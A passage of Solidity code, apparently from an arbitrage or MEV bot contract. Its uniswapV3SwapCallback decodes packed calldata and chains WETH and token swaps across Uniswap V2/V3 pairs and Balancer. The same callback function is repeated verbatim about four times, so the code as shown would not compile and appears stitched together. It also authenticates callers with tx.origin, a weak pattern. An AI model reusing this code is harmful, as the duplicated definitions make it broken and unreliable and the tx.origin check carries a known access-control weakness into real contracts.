mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
pair2 := shr(96,calldata32bytes)
amount2:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
type2:=and(calldata32bytes,0x0f)
zeroForOne2:=and(calldata32bytes,0xf0)
}
if(type2==0){
if (zeroForOne2){
wethTransfer(pair2,uint256(-amount0Delta)-amount2);
V2Swap(pair2,0,uint(amount1Delta),msg.sender);
}
else{
wethTransfer(pair2,uint256(-amount1Delta)-amount2);
V2Swap(pair2,uint(amount0Delta),0,msg.sender);
}
}
else if(type2==1) {
if (zeroForOne2){
V2Swap(pair2,0,uint(amount1Delta)+amount2,address(this));
wethTransfer(msg.sender,uint(amount1Delta));
}
else{
V2Swap(pair2,uint(amount0Delta)+amount2,0,address(this));
wethTransfer(msg.sender,uint(amount0Delta));
}
}
else if(type2==2) {
bytes memory data = new bytes(32);
assembly{
let calldata32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,calldata32bytes)),0x03))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==3) {
wethTransfer(msg.sender,amount2);
}
else if(type2==4) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(pair2,amount2);
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==5) {
bytes memory data = new bytes(64);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x06))
mstore(add(data, 64), fourth32bytes)
}
if(amount0Delta>0){
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount0Delta),data);
}
else{
V3Swap(pair2,msg.sender,zeroForOne2,-int256(amount1Delta),data);
}
}
else if(type2==6) {
assembly {
let calldata32bytes := calldataload(164)
pair3 := shr(96,calldata32bytes)
amount3:= and(shr(8,calldata32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(calldata32bytes,0xf0)
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==7) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
mstore(add(data, 32), add(shl(4,shr(4,third32bytes)),0x03))
let fourth32bytes := calldataload(164)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
V3Swap(pair2,pair3,zeroForOne2,int256(amount2),data);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==8) {
bytes memory data = new bytes(32);
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x03))
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
if(amount0Delta>0){
V3Swap(pair3,msg.sender,zeroForOne3,-amount0Delta,data);
}
else{
V3Swap(pair3,msg.sender,zeroForOne3,-amount1Delta,data);
}
}
else if(type2==9) {
assembly {
let third32bytes := calldataload(132)
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,address(this));
}
else{
V2Swap(pair2,amount2,0,address(this));
}
wethTransfer(pair3,amount3);
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
if(zeroForOne3){
V2Swap(pair3,0,v3In,msg.sender);
}
else{
V2Swap(pair3,v3In,0,msg.sender);
}
}
else if(type2==10) {
assembly {
let fourth32bytes := calldataload(164)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
pair3 := shr(96,fourth32bytes)
zeroForOne3:=and(fourth32bytes,0xf0)
}
if(zeroForOne2){
V2Swap(pair2,0,amount2,pair3);
}
else{
V2Swap(pair2,amount2,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount3,address(this));
}
else{
V2Swap(pair3,amount3,0,address(this));
}
uint v3In;
if(amount0Delta>0){
v3In=uint(amount0Delta);
}
else{
v3In=uint(amount1Delta);
}
wethTransfer(msg.sender,v3In);
}
else if(type2==11) {
bytes memory data = new bytes(32);
assembly {
let fourth32bytes := calldataload(164)
mstore(add(data, 32), add(shl(4,shr(4,fourth32bytes)),0x02))
}
int v3In;
if(amount0Delta>0){
v3In=-amount0Delta;
}
else{
v3In=-amount1Delta;
}
V3Swap(pair2,msg.sender,zeroForOne2,v3In,data);
}
else if(type2==12) {
address tokenIn;
address tokenOut;
uint8 type3;
assembly {
let fourth32bytes := calldataload(164)
let fifth32bytes := calldataload(196)
tokenIn:=shr(96,fourth32bytes)
tokenOut:=shr(96,fifth32bytes)
type3:=and(fourth32bytes,0x0f)
}
if(type3==0){
uint balIn;
if(amount0Delta>0){
balIn=uint(-amount1Delta);
}
else{
balIn=uint(-amount0Delta);
}
uint out =BalSwap(pair2,tokenIn,tokenOut,balIn,zeroForOne2);
wethTransfer(msg.sender,out-amount2);
}
else if(type3==1){
uint v3Out;
if(amount0Delta>0){
v3Out=uint(-amount1Delta);
}
else{
v3Out=uint(-amount0Delta);
}
uint out=BalSwap(pair2,tokenIn,tokenOut,amount2,zeroForOne2);
erc20Transfer(tokenOut,msg.sender,out);
}
else{
revert("");
}
}
else{
revert("");
}
}
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata _data
) external override {
if( tx.origin != owner)
{
revert("");
}
assembly {
let calldata32bytes := calldataload(132)
